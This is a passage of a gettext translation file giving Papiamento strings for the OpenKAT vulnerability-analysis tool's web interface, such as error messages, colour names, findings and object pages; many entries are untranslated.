\"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"Blòw kla\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"Blòw mediano\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"Blòw skur\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"Bèrdè kla\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"Bèrdè mediano\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"Bèrdè skur\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"Hel kla\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"Hel mediano\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"Hel skur\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"Oraño kla\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"Oraño mediano\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"Oraño skur\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"Kòra kla\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"Kòra mediano\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"Kòra skur\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"Violeta kla\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"Violeta mediano\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"Violeta skur\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"Plano\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"Solido\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"Strepiá\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"Puntá\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"Código di eror 403: Sin autorisashon\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\"Bo kuenta no tin autorisashon pa drenta riba e página òf organisashon aki.\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"Por fabor tuma kontakto ku bo administrator di sistema.\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"Bo por ke bai bek pa e\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"Sala di krísis\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"Codigo di error 404: Página no enkontrá\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\"E página ku bo kera wak òf e file ku bo kera mira no por wordu enkontra.\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"Breadcrumbs\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"Filtrá\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"Sera mènu\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"Nagegashon principal\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"Indemnizashon\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"Logout\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"Bon Biní\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"advertensia\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"Falta e codigo di organisashon\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"Añadí tipo di diskubrimentu\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"Tipo di diskubrimentu\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"Añadí diskubrimentu\"\n\n#: rocky/templates/findings/finding_list.html\n#, fuzzy\nmsgid \"Findings @ \"\nmsgstr \"Diskubrimentu\"\n\n#: rocky/templates/findings/finding_list.html\n#, fuzzy, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\"Un relato general di tur diskubrimentu OpenKAT á enkontrá riba %(date)s. \"\n\"Kada diskubrimentu ta relatá na un opheto. Klék un diskubrimentu pa \"\n\"informashon adishonál.\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"Muta diskubrimentu\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"Pone filternan\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"Kita filters\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"Deklarashon di privasidat\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\"Click e sírkulo top collapse / expande e mapa, click e teksto pa habri e \"\n\"mapa di e OOI y hover riba a teksto pa mira detayes.\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"Mapa di Grafa\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"Menu\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"KAT logo, bai na e homepage di OpenKAT\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"Enkargonan\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"Checknan di salubridat\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"Adishonal\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"Indemnizashon\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\"Indemnizashon presente pa e organisashon. Bo por awor añadi ophetonan i \"\n\"kuminsa skan.\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"Bai na:\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"Bon Biní na OpenKAT\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"Kwetsbaarheden Analyse Tool\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"Kiko ta OpenKAT?\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\"OpenKAT ta un tool pa analisá vulnerabilidat. Un Open Source projekto diseña \"\n\"dor di Ministerio di Salubridat, bienestar i spòrt pa hasi bo i nos mundu \"\n\"mas sigur.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"OpenKAT ta mira\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"OpenKAT sá\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\"OpenKAT no ta lubida (simplemente asina), i por kore sin mester skan atrobe. \"\n\"Tambe tokante situashonnan historiko.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"OpenKAT ta sigurá\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\"Evidensia forénsiko sigurá ta un di e íngredientenan basiko di OpenKAT.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"OpenKAT ta dushi\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\"OpenKAT ta pensa riba privacy, i ta warda loke ta nesesario, den e reglanan \"\n\"di bo organisashon i e lèi.\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"Un vèld grandi pa hunga\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\"OpenKAT ta traha un kopia di e realidat aktual dor di e tools nan integrá. \"\n\"Den e kopianan aki bo por buska pa kontestanan pa yen di preguntanan di \"\n\"siguridat i policy Kambionan den mundu espera i inespera ta wordu hasi \"\n\"visibel, i kaminda ta nesesario wordu rapòrta òf pa e hendenan apropia haña \"\n\"sa.\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"OpenKAT Deklarashon di Privasidat\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"Lista di opheto\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\"Un problema a surgi. Por fabor tuma kontakto ku e atministradó di sistema.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"Añadí un %(display_type)s\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\"Akinan bo por agregá e propiedát di un kliénte. Diskubrimentunan por wordu \"\n\"agregá na e propiedát den e página di diskubrimentunan.\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"Añadí %(display_type)s\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"Añadí opheto\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"Selektá e tipo di opheto ku bo ke krea\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"Kita %(primary_key)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"Bo ta sigur?\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"Akinan bo por kita e %(display_type)s.\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"Jabi\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"Kita %(display_type)s\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\"Kitamentu no ta posibel pa e tiponan: KATFindingType and CVEFindingType\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"uzando boefjes\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"advertensia di indemnisashon\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"Boefje\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"Investigá profíl\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"No tin Boefjes activá pa skan un OOI di tipo\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"Mira\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"pa haña i aktivá boefjes ku por skan den e nivel recién.\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"Añadí ophetonan relatáß\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"Detayes di opheto\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"Tipo di opheto\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"Eskohé un tipo di opheto pa agregá\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"Eskohé un tipo di opheto pa agregá\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"Punto\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"Detaye di búskeda\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"Resumen di e kantidad di diskubrimentu i nan gravedat enkontrá riba\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\"Diskubrimentunan por okurí varias biaha. Pa brinda mihó bista, e siguiente \"\n\"tabla ta mustra e número di diskubrimentunan úniko ku a wordu haña, manera \"\n\"tambe e número di okurensianan.\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"Habri detaye di diskubrimentu\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"Totál diskubrimentu\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"Deklarashon\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"Enferido na\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"Bit\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"Parameternan\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"Tarea ID\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"Normalizer\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"Advertensia\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"Editá %(type)s: %(ooi_human_readable)s\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"Primary key no por ser editá.\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"Save %(display_type)s\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, fuzzy, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\"Un bista general di bo lista di ophetonan. Ophetonan por wòrdu añadí \"\n\"manualmente òf dor di ehekutá boefjes. </br> Klik riba un opheto pa mas \"\n\"informashon.\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"Duna un motibu abao dikon bo ke muta e diskubrimentu aki.\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"Muta diskubrimentu\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"Muta\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"Lista di resulatadonan pa OOI\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"E opheto aki a kaduka\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"E opheto aki a kaduka i a wordu kita\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\"E opheto aki a kaduka. Bo ta mirando e opheto aki den un estado den pasado.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\"Bo no por añadi diskubrimentunan òf otro OOI's na ophetonan ku a kaduka.\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"Mustra detayes pa %(name)s\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"Mustra e estado aktual\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\"Bo no por añadi diskubrimentunan òf otro OOI's, e opheto aki a wordu kita i \"\n\"no ta aktualmente disponibel.\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"Resúmen pa\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"Abou bo por mira diskubrimentunan ku a wordu haña pa\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"i direktamente 